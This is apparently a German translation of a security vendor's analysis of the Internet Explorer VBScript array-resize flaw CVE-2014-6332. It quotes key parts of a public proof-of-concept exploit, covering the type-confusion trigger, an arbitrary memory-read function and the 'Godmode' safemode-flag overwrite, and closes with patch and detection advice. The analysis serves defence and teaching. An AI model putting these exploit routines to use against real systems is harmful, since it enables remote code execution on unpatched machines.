Eine tödliche Kombination: kritische Sicherheitslücke und Godmode

Originalartikel von Weimin Wu, Threat Analyst

Microsoft hat im Rahmen des Patch Tuesday am November 16 Sicherheits-Updates veröffentlicht, unter anderen für CVE-2014-6332, auch bekannt als „Windows OLE Automation Array Remote Code Execution Vulnerability (MS14-064)“. Diese Schwachstelle ist aus mehreren Gründen zu beachtenswert:

  • Sie betrifft nahezu alle Microsoft Windows-Versionen, angefangen von Windows 95 aufwärts.
  • Es gibt einen stabilen Exploit, der für die Versionen 3 bis 11 des Internet Explorers funktioniert. Er kann die Sicherheitsmechanismen des Betriebssystems wie Enhanced Mitigation Experience Toolkit (EMET), Data Execution Prevention (DEP), Address Space Layout Randomization (ASLR) und Control-Flow Integrity (CFI) umgehen.
  • Proof of Concept-Code wurde kürzlich von einem chinesischen Forscher namens Yuange1975 veröffentlicht.
  • Diesem Code zufolge ist es relativ einfach, bösartigen VBScript-Code für Angriffe zu erstellen.
  • Angreifer könnten diesen Code schon bald für ungepatchte Systeme einsetzen.

Die CVE-2014-6332-Schwachstelle

Der Fehler wird durch eine falsche Behandlung der Größenanpassung von Arrays in der Internet Explorer VBScript-Engine verursacht. VBScript ist die standardmäßige Scripting-Sprache in ASP (Active Server Pages). Andere Browser wie Google Chrome unterstützen VBScript nicht, doch Internet Explorer tut dies immer noch über eine Legacy-Engine, um Rückwärtskompatibilität sicherzustellen. Ein Array hat in der VBScript-Engine die folgende Struktur:

typedef struct tagSAFEARRAY
{
USHORT cDims;
USHORT fFeatures;
ULONG cbElements;
ULONG cLocks;
PVOID pvData;
SAFEARRAYBOUND rgsabound[ 1 ];
} SAFEARRAY;

typedef struct tagSAFEARRAYBOUND
{
ULONG cElements;
LONG lLbound;
} SAFEARRAYBOUND;

pvData ist ein Zeiger auf die Array-Adresse, und rgsabound [0].cElements steht für die Anzahl der Elemente im Array. Jedes Element ist eine Struktur Var mit der Größe von 0x10:

Var
{
0x00: varType
0x04: padding
0x08: dataHigh
0x0c: dataLow
}

Ein Fehler kann dann auftreten, wenn für ein Array eine neue Länge in VBScript definiert wird:

redim aa(a0)

redim Preserve aa(a1)
Die VBScript-Engine ruft die Funktion OLEAUT32!SafeArrayRedim() mit den Argumenten auf:
Erstes: ppsaOUT //the safeArray address
Zweites: psaboundNew //the address of SAFEARRAY, which contains the new
//number of elements: arg_newElementsSize


Bild 1. Code der Funktion SafeArrayRedim()

Die Funktion SafeArrayRedim() führt folgende Schritte aus:

  • Holt die Größe des alten Arrays: oldSize= arg_pSafeArray-> cbElements*0x10
  • Setzt die neue Zahl für das Array: arg_pSafeArray-> rgsabound[0].cElements = arg_newElementsSize
  • Holt die Größe des neuen Arrays: newSize = arg_newElementsSize*0x10
  • Holt die Differenz: sub = newSize – oldSize
  • If sub > 0, goto bigger_alloc (kein Problem in diesem Branch
  • If sub < 0, goto less_alloc um mit der Funktion ole32!CRetailMalloc_Realloc() Speicher zu reallozieren
    Obwohl sub > 0x8000000 einen vorzeichenlosen Integer-Wert impliziert, wird sub hier als negativer Wert behandelt, weil der Befehl jge mit vorzeichenbehafteten Integer Werten arbeitet.

Genau hier ist das Problem: Integer Überlauf dank Vorzeichenfehler (vorzeichenlos/vorzeichenbehaftet)

  1. cElements, oldsize, newsize und sub sind vorzeichenlose Integer Werte
  2. Im Vergleich: Der Befehl jge wiederum behandelt sub als vorzeichenbehaftenen Wert.

Der gefährliche PoC Exploit

Diese kritische Schwachstelle kann auf einfache Weise angestoßen werden. Für die VBScript-Engine gibt es eine magische Missbrauchsmethode “Godmode”. Damit kann beliebiger Code in VBScript die Browser-Sandbox knacken. Angreifer müssen keinen Shellcode schreiben, und ROP-; DEP- sowie ALSR-Schutz ist hier naturgemäß nutzlos.

Weil im „Godmode“ mit VBScript nahezu alles möglich ist, bedarf es in dieser Situation keiner Dateiinfektor-Payload. Damit ist es einfach, der Entdeckung auf heap Spray, Return Oriented Programming (ROP), Shellcode oder einer Dateiinfektor-Payload zu entgehen.

Missbrauch der Schwachstelle

Als Erstes verursacht der PoC-Exploit unter Nutzung der Sicherheitslücke eine Type Confusion. Er definiert zwei Arrays aa und ab. Dann ändert er die Größe von aa auf eine hohe Zahl:

       a0=a0+a3
a1=a0+2
a2=a0+&h8000000
redim  Preserve aa(a0)
redim   ab(a0)
redim  Preserve aa(a2)

Da der Typ der Arrays aa und ab derselbe ist und die Zahl der Elemente auch, ist es möglich, folgendes Array-Speicherlayout zu haben:


Bild 2. Zu erwartendes Speicherlayout von Array aa, ab

Wenn redim Preserve aa(a2)” ,a2 = a0+&h8000000 ausgeführt wird, kann dies die Sicherheitslücke anstoßen. In diesem Fall sind die Out-of-Bound-Elemente von aa zugänglich. Der Exploit nutzt dies, um eine TypeConfusion für Elemente von ab herbeizuführen.

Doch das Speicherlayout entspricht nicht immer den Erwartungen, sodass der Fehler nicht jedes Mal angestoßen wird. Deshalb versucht der Exploit mehrmals, die folgenden Bedingungen herzustellen:

  • Die Adresse von ab(b0) ist ein Zeiger auf das Type-Feld (hier b0=0)
  • Die Adresse von aa(a0) ist ein Zeiger auf das Data High-Feld von ab(b0)

Das bedeutet: address( aa(a0)) ist gleich address( ab(b0)) + 8

Bild 3. Speicherlayout entspricht den Bedingungen

Die Modifikation des ab(b0) Data High-Felds entspricht denen des aa(a0) Type-Felds — typeconfusion.

Zudem macht der Exploit jedwelchen Speicher für Type Confusion lesbar.

Function readmem(add)
On Error Resume Next
ab(b0)=0           // type of aa(a0) is changed to int
aa(a0)=add+4    // the high data of aa(a0) is set to add+4
ab(b0)=1.69759663316747E-313  // thisis 0x0000000800000008
// now, type of aa(a0) is changed to bstr
readmem=lenb(aa(a0))   // length of bstr stores in pBstrBase-4
// lenb(aa(a0)) = [pBstrBase-4] = [add+4-4]
ab(b0)=0
end function

Die Funktion kann jede Adresse [add] zurückgeben, das dafür genutzt wird, um den “Godmode” zu aktivieren.

“Godmode”

VBScript kann in Browsern oder in der lokalen Shell genutzt werden. Im Browser läuft die Sprache mit eingeschränkten Rechten, doch diese werden über einige Flags kontrolliert – werden die Flags modifiziert, kann VBScript in HTML alles tun, was auch in der lokalen Shell möglich ist. Auf diese Weise können Angreifer einfach bösartigen Code in VBScript schreiben, der den „Godmode“ aktiviert.

Die folgende Funktion im Exploit wird für den Zugang zu „Godmode“ eingesetzt. Die Flags gibt es im Objekt COleScript. Wird die Adresse von COleScript ausgelesen, so können die Flags modifiziert werden.

function setnotsafemode()
On Error Resume Next
i=mydata()
i=readmemo(i+8) // get address of CScriptEntryPoint which includes pointer to COleScript
i=readmemo(i+16) // get address of COleScript which includes pointer the said safemode flags
j=readmemo(i+&h134)
for k=0 to &h60 step 4  // for compatibility of different IE versions
j=readmemo(i+&h120+k)
if(j=14) then
j=0
redim  Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4)  // change safemode flags
redim  Preserve aa(a0)
j=0
j=readmemo(i+&h120+k)
Exit for
end if
next
ab(2)=1.69759663316747E-313
runmumaa()
end function

Hier kann die Funktion mydata() eine Variable des Funktionsobjekts zurückgeben, die einen Zeiger auf CscriptEntryPoint enthält. Es stellt sich die Frage, was macht der Exploit, falls die Adresse eines Funktionsobjekt über VBScript nicht zugänglich ist. Die folgende Funktion zeigt einen schlauen Trick:

function mydata()
On Error Resume Next
i=testaa
i=null
redim  Preserve aa(a2)
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310
mydata=aa(a1)
redim  Preserve aa(a0)
end function

Der Schlüssel ist in den ersten drei Zeilen der Funktion zu finden:

i=testaa

Dieser Code scheint Nonsens zu sein. Doch wie sieht der Call Stack aus, wenn er den Code ausführt? Vor dieser Zeile ist der Stack leer. Zuerst übersetzt VM testaa als Funktion und legt die Adresse in den Stack. Dann übersetzt VM die Adresse von i und versucht eine Zuweisung. Die VM erkennt, dass der Typ auf dem Stack ein Funktionsobjekt ist. Deshalb wirft die VM eineAusnahme (error) und beginnt mit der Ausnahmebehandlung (enter error). Da “On Error Resume Next” in der Funktion mydata() gesetzt ist, geht die VM zur nächsten Anweisung über, auch im Fehlerfall.

i=null

Für diese Zeile übersetzt VM zuerst “null”. Für “null” legt die VM keine Daten auf den Stack. Stattdessen ändert VM lediglich den Typ der obersten Daten auf dem Stack auf 0x1!! Dann weist die VM sie i zu – dies ist nun genau die Adresse der Funktion testaa(), obwohl der Typ von i VT_NULL ist.

Diese Zeilen werden dazu genutzt, um die Adresse der Funktion testaa() eines Objekt des Typs VT_NULL zu ermitteln.

Fazit

Der “Godmode” der traditionellen VBScript-Engine stellt eines der größten Risiken im Internet Explorer dar. Wird eine passende Sicherheitslücke gefunden, können die Angreifer mit geringem Aufwand robuste Exploits entwickeln. CVE-2014-6322 ist nur eine der Schwachstellen, für die dies sehr einfach zu bewerkstelligen ist. Microsoft hat einen Patch für diese Schwachstelle veröffentlicht, und es wird erwartet, dass es auch einen direkten Patch für “Godmode” geben wird. Chrome hat die Unterstützung für VBScript eingestellt.

Die Bandbreite der betroffenen Windows-Versionen ist groß und viele dieser Versionen (wie Windows 95 und WIndows XP) werden nicht länger unterstützt. Diese Tatsache aber, erhöht das Risiko für die alten Versionen.

Diese mörderische Kombination aus fortschrittlicher Exploit-Technik und den vielen betroffenen Plattformen lässt darauf schließen, dass Angreifer auch künftig darauf zurückgreifen werden.

Lösungen und Empfehlungen

Es ist sehr zu empfehlen, die folgenden Best Practices zu beachten:

  1. Microsoft Patches sofort installieren, aber davor einen anderen Browser als IE einzusetzen,
  2. Einsatz neuerer Windows-Versionen, die von Microsoft unterstützt werden.

Trend Micros™ Deep Security und Vulnerability Protection, Teil der Smart Protection Suites, liefern zuverlässigen Schutz gegen diese Art von Angriffen.

Die folgenden Deep Packet Inspection (DPI)-Regeln schützden die Anwendersysteme vor Bedrohungen, die diese Sicherheitslücke ausnützen könnten:

  • 1006324 – Windows OLE Automation Array Remote Code Execution Vulnerability (CVE-2014-6332)
  • 1006290 – Microsoft Windows OLE Remote Code Execution Vulnerability
  • 1006291 – Microsoft Windows OLE Remote Code Execution Vulnerability -1

Zusätzlich hat Trend Micro Network Content Inspection- und Network Content Correlation-Patterns für den Trend Micro Deep Discovery Inspector herausgegeben, um damit Hosts Visibilität in die Quellen oder die betroffenen Hosts zu bieten. OfficeScan 11 erkennt ebenfalls Exploit-Versucher dieser Art.

Weitere Informationen zu allen Sciherheitslücken des Patch Tuesday im November gibt es unter Threat Encyclopedia .

 

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.

*

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.